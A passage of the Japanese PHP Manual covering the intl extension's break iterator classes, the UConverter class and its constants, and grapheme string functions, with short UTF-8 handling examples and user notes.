この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the rule set used to create this object

  • ≪ IntlRuleBasedBreakIterator::getBinaryRules
  • IntlRuleBasedBreakIterator::getRuleStatus ≫
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the rule set used to create this object

IntlRuleBasedBreakIterator::getRules

(PHP 5 >= 5.5.0, PHP 7)

IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object

説明

public IntlRuleBasedBreakIterator::getRules ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the largest status value from the break rules that determined the current break position

  • ≪ IntlRuleBasedBreakIterator::getRules
  • IntlRuleBasedBreakIterator::getRuleStatusVec ≫
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the largest status value from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatus

(PHP 5 >= 5.5.0, PHP 7)

IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position

説明

public IntlRuleBasedBreakIterator::getRuleStatus ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


Get the status values from the break rules that determined the current break position

  • ≪ IntlRuleBasedBreakIterator::getRuleStatus
  • IntlCodePointBreakIterator ≫
  • PHP Manual
  • IntlRuleBasedBreakIterator
  • Get the status values from the break rules that determined the current break position

IntlRuleBasedBreakIterator::getRuleStatusVec

(PHP 5 >= 5.5.0, PHP 7)

IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position

説明

public IntlRuleBasedBreakIterator::getRuleStatusVec ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The IntlCodePointBreakIterator class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

This break iterator identifies the boundaries between UTF-8 code points.

クラス概要

IntlCodePointBreakIterator extends IntlBreakIterator implements Traversable {
/* 継承した定数 */
const int IntlBreakIterator::DONE = -1 ;
const int IntlBreakIterator::WORD_NONE = 0 ;
const int IntlBreakIterator::WORD_NONE_LIMIT = 100 ;
const int IntlBreakIterator::WORD_NUMBER = 100 ;
const int IntlBreakIterator::WORD_NUMBER_LIMIT = 200 ;
const int IntlBreakIterator::WORD_LETTER = 200 ;
const int IntlBreakIterator::WORD_LETTER_LIMIT = 300 ;
const int IntlBreakIterator::WORD_KANA = 300 ;
const int IntlBreakIterator::WORD_KANA_LIMIT = 400 ;
const int IntlBreakIterator::WORD_IDEO = 400 ;
const int IntlBreakIterator::WORD_IDEO_LIMIT = 500 ;
const int IntlBreakIterator::LINE_SOFT = 0 ;
const int IntlBreakIterator::LINE_SOFT_LIMIT = 100 ;
const int IntlBreakIterator::LINE_HARD = 100 ;
const int IntlBreakIterator::LINE_HARD_LIMIT = 200 ;
const int IntlBreakIterator::SENTENCE_TERM = 0 ;
const int IntlBreakIterator::SENTENCE_TERM_LIMIT = 100 ;
const int IntlBreakIterator::SENTENCE_SEP = 100 ;
const int IntlBreakIterator::SENTENCE_SEP_LIMIT = 200 ;
/* メソッド */
public getLastCodePoint ( ) : int
/* 継承したメソッド */
private IntlBreakIterator::__construct ( )
public static IntlBreakIterator::createCharacterInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createCodePointInstance ( ) : IntlBreakIterator
public static IntlBreakIterator::createLineInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createSentenceInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createTitleInstance ( string $locale = ? ) : IntlBreakIterator
public static IntlBreakIterator::createWordInstance ( string $locale = ? ) : IntlBreakIterator
public IntlBreakIterator::current ( ) : int
public IntlBreakIterator::first ( ) : int
public IntlBreakIterator::following ( int $offset ) : int
public IntlBreakIterator::getErrorCode ( ) : int
intl_get_error_code ( ) : int
public IntlBreakIterator::getErrorMessage ( ) : string
intl_get_error_message ( ) : string
public IntlBreakIterator::getLocale ( string $locale_type ) : string
public IntlBreakIterator::getPartsIterator ( int $key_type = IntlPartsIterator::KEY_SEQUENTIAL ) : IntlPartsIterator
public IntlBreakIterator::getText ( ) : string
public IntlBreakIterator::isBoundary ( int $offset ) : bool
public IntlBreakIterator::last ( ) : int
public IntlBreakIterator::next ( int $offset = ? ) : int
public IntlBreakIterator::preceding ( int $offset ) : int
public IntlBreakIterator::previous ( ) : int
public IntlBreakIterator::setText ( string $text ) : bool
}

目次

  • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

User Contributed Notes

There are no user contributed notes for this page.


Get last code point passed over after advancing or receding the iterator

  • ≪ IntlCodePointBreakIterator
  • IntlPartsIterator ≫
  • PHP Manual
  • IntlCodePointBreakIterator
  • Get last code point passed over after advancing or receding the iterator

IntlCodePointBreakIterator::getLastCodePoint

(PHP 5 >= 5.5.0, PHP 7)

IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator

説明

public IntlCodePointBreakIterator::getLastCodePoint ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


The IntlPartsIterator class

(PHP 5 >= 5.5.0, PHP 7)

はじめに

Objects of this class can be obtained from IntlBreakIterator objects. While the break iterators provide a sequence of boundary positions when iterated, IntlPartsIterator objects provide, as a convenience, the text fragments comprehended between two successive boundaries.

The keys may represent the offset of the left boundary, right boundary, or they may just the sequence of non-negative integers. See IntlBreakIterator::getPartsIterator().

クラス概要

IntlPartsIterator extends IntlIterator implements Iterator {
/* Constants */
const int KEY_SEQUENTIAL = 0 ;
const int KEY_LEFT = 1 ;
const int KEY_RIGHT = 2 ;
/* メソッド */
public getBreakIterator ( ) : IntlBreakIterator
/* 継承したメソッド */
public IntlIterator::current ( ) : mixed
public IntlIterator::key ( ) : string
public IntlIterator::next ( ) : void
public IntlIterator::rewind ( ) : void
public IntlIterator::valid ( ) : bool
}

定義済み定数

IntlPartsIterator::KEY_SEQUENTIAL

IntlPartsIterator::KEY_LEFT

IntlPartsIterator::KEY_RIGHT

目次

  • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

User Contributed Notes

There are no user contributed notes for this page.


Get IntlBreakIterator backing this parts iterator

  • ≪ IntlPartsIterator
  • UConverter ≫
  • PHP Manual
  • IntlPartsIterator
  • Get IntlBreakIterator backing this parts iterator

IntlPartsIterator::getBreakIterator

(PHP 5 >= 5.5.0, PHP 7)

IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator

説明

public IntlPartsIterator::getBreakIterator ( ) : IntlBreakIterator

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


UConverter クラス

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

はじめに

クラス概要

UConverter {
/* 定数 */
const int REASON_UNASSIGNED = 0 ;
const int REASON_ILLEGAL = 1 ;
const int REASON_IRREGULAR = 2 ;
const int REASON_RESET = 3 ;
const int REASON_CLOSE = 4 ;
const int REASON_CLONE = 5 ;
const int UNSUPPORTED_CONVERTER = -1 ;
const int SBCS = 0 ;
const int DBCS = 1 ;
const int MBCS = 2 ;
const int LATIN_1 = 3 ;
const int UTF8 = 4 ;
const int UTF16_BigEndian = 5 ;
const int UTF16_LittleEndian = 6 ;
const int UTF32_BigEndian = 7 ;
const int UTF32_LittleEndian = 8 ;
const int EBCDIC_STATEFUL = 9 ;
const int ISO_2022 = 10 ;
const int LMBCS_1 = 11 ;
const int LMBCS_2 = 12 ;
const int LMBCS_3 = 13 ;
const int LMBCS_4 = 14 ;
const int LMBCS_5 = 15 ;
const int LMBCS_6 = 16 ;
const int LMBCS_8 = 17 ;
const int LMBCS_11 = 18 ;
const int LMBCS_16 = 19 ;
const int LMBCS_17 = 20 ;
const int LMBCS_18 = 21 ;
const int LMBCS_19 = 22 ;
const int LMBCS_LAST = 22 ;
const int HZ = 23 ;
const int SCSU = 24 ;
const int ISCII = 25 ;
const int US_ASCII = 26 ;
const int UTF7 = 27 ;
const int BOCU1 = 28 ;
const int UTF16 = 29 ;
const int UTF32 = 30 ;
const int CESU8 = 31 ;
const int IMAP_MAILBOX = 32 ;
/* メソッド */
public __construct ( string $destination_encoding = ? , string $source_encoding = ? )
public convert ( string $str , bool $reverse = ? ) : string
public fromUCallback ( int $reason , string $source , string $codePoint , int &$error ) : mixed
public static getAliases ( string $name ) : array
public static getAvailable ( ) : array
public getDestinationEncoding ( ) : string
public getDestinationType ( ) : int
public getErrorCode ( ) : int
public getErrorMessage ( ) : string
public getSourceEncoding ( ) : string
public getSourceType ( ) : int
public static getStandards ( ) : array
public getSubstChars ( ) : string
public static reasonText ( int $reason = ? ) : string
public setDestinationEncoding ( string $encoding ) : void
public setSourceEncoding ( string $encoding ) : void
public setSubstChars ( string $chars ) : void
public toUCallback ( int $reason , string $source , string $codeUnits , int &$error ) : mixed
public static transcode ( string $str , string $toEncoding , string $fromEncoding , array $options = ? ) : string
}

定義済み定数

UConverter::REASON_UNASSIGNED

UConverter::REASON_ILLEGAL

UConverter::REASON_IRREGULAR

UConverter::REASON_RESET

UConverter::REASON_CLOSE

UConverter::REASON_CLONE

UConverter::UNSUPPORTED_CONVERTER

UConverter::SBCS

UConverter::DBCS

UConverter::MBCS

UConverter::LATIN_1

UConverter::UTF8

UConverter::UTF16_BigEndian

UConverter::UTF16_LittleEndian

UConverter::UTF32_BigEndian

UConverter::UTF32_LittleEndian

UConverter::EBCDIC_STATEFUL

UConverter::ISO_2022

UConverter::LMBCS_1

UConverter::LMBCS_2

UConverter::LMBCS_3

UConverter::LMBCS_4

UConverter::LMBCS_5

UConverter::LMBCS_6

UConverter::LMBCS_8

UConverter::LMBCS_11

UConverter::LMBCS_16

UConverter::LMBCS_17

UConverter::LMBCS_18

UConverter::LMBCS_19

UConverter::LMBCS_LAST

UConverter::HZ

UConverter::SCSU

UConverter::ISCII

UConverter::US_ASCII

UConverter::UTF7

UConverter::BOCU1

UConverter::UTF16

UConverter::UTF32

UConverter::CESU8

UConverter::IMAP_MAILBOX

目次

  • UConverter::__construct — UConverter オブジェクトを作る
  • UConverter::convert — ある文字セットから別の文字セットに文字列を変換する
  • UConverter::fromUCallback — デフォルトの "from" コールバック関数
  • UConverter::getAliases — 指定した名前のエイリアスを取得する
  • UConverter::getAvailable — 利用可能なコンバーター名を取得する
  • UConverter::getDestinationEncoding — 変換先エンコーディングを取得する
  • UConverter::getDestinationType — 変換先のコンバーターの型を取得する
  • UConverter::getErrorCode — 直近のエラーコードを取得する
  • UConverter::getErrorMessage — 直近のエラーメッセージを取得する
  • UConverter::getSourceEncoding — 変換元エンコーディングを取得する
  • UConverter::getSourceType — 変換元のコンバーターの型を取得する
  • UConverter::getStandards — コンバーター名に対応する標準を取得する
  • UConverter::getSubstChars — 置換文字を取得する
  • UConverter::reasonText — コールバックの理由を表す文字列を取得する
  • UConverter::setDestinationEncoding — 変換先エンコーディングを設定する
  • UConverter::setSourceEncoding — 変換元エンコーディングを設定する
  • UConverter::setSubstChars — 置換文字を設定する
  • UConverter::toUCallback — デフォルトの "to" コールバック関数
  • UConverter::transcode — ある文字セットから別の文字セットに文字列を変換する

User Contributed Notes

There are no user contributed notes for this page.


UConverter オブジェクトを作る

  • ≪ UConverter
  • UConverter::convert ≫
  • PHP Manual
  • UConverter
  • UConverter オブジェクトを作る

UConverter::__construct

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::__construct — UConverter オブジェクトを作る

説明

public UConverter::__construct ( string $destination_encoding = ? , string $source_encoding = ? )

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

destination_encoding

source_encoding

返り値

User Contributed Notes

There are no user contributed notes for this page.


ある文字セットから別の文字セットに文字列を変換する

  • ≪ UConverter::__construct
  • UConverter::fromUCallback ≫
  • PHP Manual
  • UConverter
  • ある文字セットから別の文字セットに文字列を変換する

UConverter::convert

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::convert — ある文字セットから別の文字セットに文字列を変換する

説明

public UConverter::convert ( string $str , bool $reverse = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

str

reverse

返り値

User Contributed Notes

There are no user contributed notes for this page.


デフォルトの "from" コールバック関数

  • ≪ UConverter::convert
  • UConverter::getAliases ≫
  • PHP Manual
  • UConverter
  • デフォルトの "from" コールバック関数

UConverter::fromUCallback

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::fromUCallback — デフォルトの "from" コールバック関数

説明

public UConverter::fromUCallback ( int $reason , string $source , string $codePoint , int &$error ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

reason

source

codePoint

error

返り値

User Contributed Notes

There are no user contributed notes for this page.


指定した名前のエイリアスを取得する

  • ≪ UConverter::fromUCallback
  • UConverter::getAvailable ≫
  • PHP Manual
  • UConverter
  • 指定した名前のエイリアスを取得する

UConverter::getAliases

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getAliases — 指定した名前のエイリアスを取得する

説明

public static UConverter::getAliases ( string $name ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

name

返り値

User Contributed Notes

There are no user contributed notes for this page.


利用可能なコンバーター名を取得する

  • ≪ UConverter::getAliases
  • UConverter::getDestinationEncoding ≫
  • PHP Manual
  • UConverter
  • 利用可能なコンバーター名を取得する

UConverter::getAvailable

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getAvailable — 利用可能なコンバーター名を取得する

説明

public static UConverter::getAvailable ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換先エンコーディングを取得する

  • ≪ UConverter::getAvailable
  • UConverter::getDestinationType ≫
  • PHP Manual
  • UConverter
  • 変換先エンコーディングを取得する

UConverter::getDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getDestinationEncoding — 変換先エンコーディングを取得する

説明

public UConverter::getDestinationEncoding ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換先のコンバーターの型を取得する

  • ≪ UConverter::getDestinationEncoding
  • UConverter::getErrorCode ≫
  • PHP Manual
  • UConverter
  • 変換先のコンバーターの型を取得する

UConverter::getDestinationType

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getDestinationType — 変換先のコンバーターの型を取得する

説明

public UConverter::getDestinationType ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーコードを取得する

  • ≪ UConverter::getDestinationType
  • UConverter::getErrorMessage ≫
  • PHP Manual
  • UConverter
  • 直近のエラーコードを取得する

UConverter::getErrorCode

intl_get_error_code

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getErrorCode -- intl_get_error_code — 直近のエラーコードを取得する

説明

public UConverter::getErrorCode ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


直近のエラーメッセージを取得する

  • ≪ UConverter::getErrorCode
  • UConverter::getSourceEncoding ≫
  • PHP Manual
  • UConverter
  • 直近のエラーメッセージを取得する

UConverter::getErrorMessage

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getErrorMessage — 直近のエラーメッセージを取得する

説明

public UConverter::getErrorMessage ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換元エンコーディングを取得する

  • ≪ UConverter::getErrorMessage
  • UConverter::getSourceType ≫
  • PHP Manual
  • UConverter
  • 変換元エンコーディングを取得する

UConverter::getSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getSourceEncoding — 変換元エンコーディングを取得する

説明

public UConverter::getSourceEncoding ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換元のコンバーターの型を取得する

  • ≪ UConverter::getSourceEncoding
  • UConverter::getStandards ≫
  • PHP Manual
  • UConverter
  • 変換元のコンバーターの型を取得する

UConverter::getSourceType

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getSourceType — 変換元のコンバーターの型を取得する

説明

public UConverter::getSourceType ( ) : int

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


コンバーター名に対応する標準を取得する

  • ≪ UConverter::getSourceType
  • UConverter::getSubstChars ≫
  • PHP Manual
  • UConverter
  • コンバーター名に対応する標準を取得する

UConverter::getStandards

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getStandards — コンバーター名に対応する標準を取得する

説明

public static UConverter::getStandards ( ) : array

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


置換文字を取得する

  • ≪ UConverter::getStandards
  • UConverter::reasonText ≫
  • PHP Manual
  • UConverter
  • 置換文字を取得する

UConverter::getSubstChars

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::getSubstChars — 置換文字を取得する

説明

public UConverter::getSubstChars ( ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


コールバックの理由を表す文字列を取得する

  • ≪ UConverter::getSubstChars
  • UConverter::setDestinationEncoding ≫
  • PHP Manual
  • UConverter
  • コールバックの理由を表す文字列を取得する

UConverter::reasonText

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::reasonText — コールバックの理由を表す文字列を取得する

説明

public static UConverter::reasonText ( int $reason = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

reason

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換先エンコーディングを設定する

  • ≪ UConverter::reasonText
  • UConverter::setSourceEncoding ≫
  • PHP Manual
  • UConverter
  • 変換先エンコーディングを設定する

UConverter::setDestinationEncoding

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::setDestinationEncoding — 変換先エンコーディングを設定する

説明

public UConverter::setDestinationEncoding ( string $encoding ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

encoding

返り値

User Contributed Notes

There are no user contributed notes for this page.


変換元エンコーディングを設定する

  • ≪ UConverter::setDestinationEncoding
  • UConverter::setSubstChars ≫
  • PHP Manual
  • UConverter
  • 変換元エンコーディングを設定する

UConverter::setSourceEncoding

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::setSourceEncoding — 変換元エンコーディングを設定する

説明

public UConverter::setSourceEncoding ( string $encoding ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

encoding

返り値

User Contributed Notes

There are no user contributed notes for this page.


置換文字を設定する

  • ≪ UConverter::setSourceEncoding
  • UConverter::toUCallback ≫
  • PHP Manual
  • UConverter
  • 置換文字を設定する

UConverter::setSubstChars

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::setSubstChars — 置換文字を設定する

説明

public UConverter::setSubstChars ( string $chars ) : void

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

chars

返り値

User Contributed Notes

There are no user contributed notes for this page.


デフォルトの "to" コールバック関数

  • ≪ UConverter::setSubstChars
  • UConverter::transcode ≫
  • PHP Manual
  • UConverter
  • デフォルトの "to" コールバック関数

UConverter::toUCallback

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::toUCallback — デフォルトの "to" コールバック関数

説明

public UConverter::toUCallback ( int $reason , string $source , string $codeUnits , int &$error ) : mixed

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

reason

source

codeUnits

error

返り値

User Contributed Notes

There are no user contributed notes for this page.


ある文字セットから別の文字セットに文字列を変換する

  • ≪ UConverter::toUCallback
  • Grapheme 関数 ≫
  • PHP Manual
  • UConverter
  • ある文字セットから別の文字セットに文字列を変換する

UConverter::transcode

(PHP 5 >= 5.5.0, PHP 7, PECL >= 3.0.0a1)

UConverter::transcode — ある文字セットから別の文字セットに文字列を変換する

説明

public static UConverter::transcode ( string $str , string $toEncoding , string $fromEncoding , array $options = ? ) : string

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

str

toEncoding

fromEncoding

options

返り値

User Contributed Notes

There are no user contributed notes for this page.


Grapheme 関数

目次

  • grapheme_extract — デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります
  • grapheme_stripos — 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_stristr — 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_strlen — 書記素単位で文字列の長さを取得する
  • grapheme_strpos — 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strripos — 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos — 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr — haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_substr — 部分文字列を返す

User Contributed Notes

There are no user contributed notes for this page.


デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります

  • ≪ Grapheme 関数
  • grapheme_stripos ≫
  • PHP Manual
  • Grapheme 関数
  • デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります

grapheme_extract

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_extract — デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数。 テキストは UTF-8 でエンコードされている必要があります

説明

手続き型

grapheme_extract ( string $haystack , int $size , int $type = GRAPHEME_EXTR_COUNT , int $offset = 0 , int &$next = null ) : string|false

デフォルトの書記素クラスタシーケンスをテキストバッファから取り出す関数です。 テキストは UTF-8 でエンコードされている必要があります。

パラメータ

haystack

検索する文字列。

size

返す項目 ($extract_type に基づく) の最大数。

type

$size パラメータの単位の形式を指定します。

  • GRAPHEME_EXTR_COUNT (default) - $size は、 抽出するデフォルト書記素クラスタの数です。
  • GRAPHEME_EXTR_MAXBYTES - $size は、返すバイト数の最大値です。
  • GRAPHEME_EXTR_MAXCHARS - $size は、返す UTF-8 文字数の最大値です。

offset

$haystack 内での開始位置をバイト数で指定します。 指定する場合は、0 から $haystack のバイト数までの値でなければなりません。 負の値を指定すると、$haystack の末尾からバイト数を数えます。 $start が指す位置が UTF-8 文字の先頭バイトでない場合は、 その次の文字の先頭から開始します。

next

次の開始位置への参照が設定されます。 この関数をコールすると、文字列の最後の部分の先頭バイトを指すことになります。

返り値

オフセット $start から始まり、 指定した $size と $extract_type を満たす、 デフォルトの書記素クラスタバウンダリで終わる文字列を返します。 失敗した場合に false を返します

変更履歴

バージョン | 説明
7.1.0 | 負の offset をサポートするようになりました。

例

例1 grapheme_extract() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"

print urlencode(grapheme_extract( $char_a_ring_nfd . $char_o_diaeresis_nfd, 1, GRAPHEME_EXTR_COUNT, 2));

?>

上の例の出力は以下となります。

o%CC%88

参考

  • grapheme_substr() - 部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

yevgen dot grytsay at gmail dot com 19-Oct-2020 01:35
Looping through grapheme clusters:

<?php

// Example taken from Rust documentation: https://doc.rust-lang.org/book/ch08-02-strings.html#bytes-and-scalar-values-and-grapheme-clusters-oh-my
$str = "??????";
// Alternatively:
//$str = pack('C*', ...[224, 164, 168, 224, 164, 174, 224, 164, 184, 224, 165, 141, 224, 164, 164, 224, 165, 135]);
$next = 0;
$maxbytes = strlen($str);

var_dump($str);

while ($next < $maxbytes) {
    $char = grapheme_extract($str, 1, GRAPHEME_EXTR_COUNT, $next, $next);
    if (empty($char)) {
        continue;
    }
    echo "{$char} - This utf8 character is " . strlen($char) . ' bytes long', PHP_EOL;
}

//string(18) "??????"
//? - This utf8 character is 3 bytes long
//? - This utf8 character is 3 bytes long
//?? - This utf8 character is 6 bytes long
//?? - This utf8 character is 6 bytes long
?>
AJH 12-Jul-2011 04:37
Here's how to use grapheme_extract() to loop across a UTF-8 string character by character.

<?php

$str = "?abc?'...";
// if the previous line didn't come through, the string contained:
//U+0633,U+0061,U+0062,U+0063,U+0915,U+2019,U+2026

$n = 0;

for (    $start = 0, $next = 0, $maxbytes = strlen($str), $c = '';
        $start < $maxbytes;
        $c = grapheme_extract($str, 1, GRAPHEME_EXTR_MAXCHARS , ($start = $next), $next)
    )
{
    if (empty($c))
        continue;
    echo "This utf8 character is " . strlen($c) . " bytes long and its first byte is " . ord($c[0]) . "\n";
    $n++;
}
echo "$n UTF-8 characters in a string of $maxbytes bytes!\n";
// Should print: 7 UTF8 characters in a string of 14 bytes!
?>


大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

  • ≪ grapheme_extract
  • grapheme_stristr ≫
  • PHP Manual
  • Grapheme 関数
  • 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

grapheme_stripos

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

grapheme_stripos — 大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける

説明

手続き型

grapheme_stripos ( string $haystack , string $needle , int $offset = 0 ) : int|false

大文字小文字を区別せず、文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つけます。

パラメータ

haystack

探す対象となる文字列。正しい形式の UTF-8 でなければなりません。

needle

探したい文字列。正しい形式の UTF-8 でなければなりません。

offset

オプションの $offset パラメータで、$haystack のどの位置 (バイト数や文字数ではなく、書記素単位) から探し始めるのかを指定します。 負の値を指定した場合は、文字列の末尾からのオフセットとみなします。 $offset の値にかかわらず、返される値は常に haystack の先頭からの位置になります。

返り値

位置を表す整数値を返します。needle が見つからない場合は grapheme_stripos() は false を返します。

変更履歴

バージョン | 説明
7.1.0 | 負の offset をサポートするようになりました。

例

例1 grapheme_stripos() の例

<?php

$char_a_ring_nfd = "a\xCC\x8A";  // 'LATIN SMALL LETTER A WITH RING ABOVE' (U+00E5) normalization form "D"
$char_o_diaeresis_nfd = "o\xCC\x88"; // 'LATIN SMALL LETTER O WITH DIAERESIS' (U+00F6) normalization form "D"
$char_O_diaeresis_nfd = "O\xCC\x88"; // 'LATIN CAPITAL LETTER O WITH DIAERESIS' (U+00D6) normalization form "D"

print grapheme_stripos( $char_a_ring_nfd . $char_a_ring_nfd . $char_o_diaeresis_nfd, $char_O_diaeresis_nfd);

?>

上の例の出力は以下となります。

2

参考

  • grapheme_stristr() - 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す
  • grapheme_strpos() - 文字列内で最初にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strripos() - 大文字小文字を区別せず、文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strrpos() - 文字列内で最後にあらわれる場所の (書記素単位の) 位置を見つける
  • grapheme_strstr() - haystack 文字列の中で、needle が最初に登場した場所以降の部分文字列を返す
  • » Unicode Text Segmentation: Grapheme Cluster Boundaries

User Contributed Notes

Anonymous 26-Jun-2018 06:12
As expected, grapheme_stripos() does return boolean FALSE if the needle is not found in the haystack.
Use strict type comparison to check for that condition, like:

if (FALSE === grapheme_stripos('a', 'b')) {print 'Needle not found';}


大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す

  • ≪ grapheme_stripos
  • grapheme_strlen ≫
  • PHP Manual
  • Grapheme 関数
  • 大文字小文字を区別せず、haystack 文字列の中で needle が最初に登場した場所以降の部分文字列を返す

grapheme_stristr

(PHP 5 >= 5.3.0, PHP 7, PECL intl >= 1.0.0)

